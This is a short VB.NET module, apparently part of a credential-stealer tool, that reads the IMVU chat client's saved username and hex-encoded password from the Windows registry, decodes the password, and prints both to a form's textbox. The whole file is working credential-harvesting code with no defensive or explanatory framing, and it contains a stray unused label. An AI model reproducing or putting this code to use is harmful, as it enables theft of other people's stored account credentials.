Module Imvu
    Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
        On Error GoTo Error_Renamed ' // If Error dont Display Error
        Dim X As Object ' //
        X = CreateObject("WScript.shell") ' // Create REG Object
        ReadKey = X.regread(hKey) ' // Read The Key
        Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
    End Function
    Public Function Hex2Ascii(ByVal Text As String) As String
        Dim Value As Object
        Dim num As Object
        Dim i As Object ' // Simple Function for Pass Hex to Ascii
        Value = Nothing
        For i = 1 To Len(Text) ' Len of Encripted Text
            num = Mid(Text, i, 2) ' // Go Chr by Chr
            Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
            i = i + 1 ' // +1
        Next i ' Next Chr

        Hex2Ascii = Value ' //
    End Function
    Public Function DoToVu() As String
        Dim sUser, sPass As String ' // Some Variables
        sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
        sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
        Dim nl As String = vbNewLine
        Form1.ztext.AppendText(nl)
        Form1.ztext.AppendText("============IMVU==============")
        Form1.ztext.AppendText(nl)
        Form1.ztext.AppendText("Username: " & ReadKey(sUser))
        Form1.ztext.AppendText(nl)
        Form1.ztext.AppendText("Password: " & Hex2Ascii(ReadKey(sPass)))
        Form1.ztext.AppendText(nl)
        Form1.ztext.AppendText("=============================")
        Form1.ztext.AppendText(nl)
Sex:
        Exit Function
    End Function
End Module